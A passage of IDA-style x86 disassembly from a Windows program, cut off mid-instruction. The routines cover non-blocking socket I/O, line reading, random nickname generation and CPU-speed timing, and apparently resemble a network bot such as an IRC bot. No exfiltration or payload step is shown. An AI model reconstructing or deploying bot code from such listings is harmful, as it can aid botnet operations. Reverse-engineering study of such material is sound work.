loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call near ptr 77C47A90h nop xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 call near ptr 71AB4519h nop retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F70 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F70 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DD4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j nop call near ptr 27E08A6h and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DD4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F70 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E84 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E84 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447769 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 28010B7h test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx call near ptr 27E08A6h nop push eax nop call near ptr 77C371BCh mov edi, dword_50FABC add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41B950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; CODE XREF: ___:00401569j mov al, [esp+4] cmp al, 20h jz short 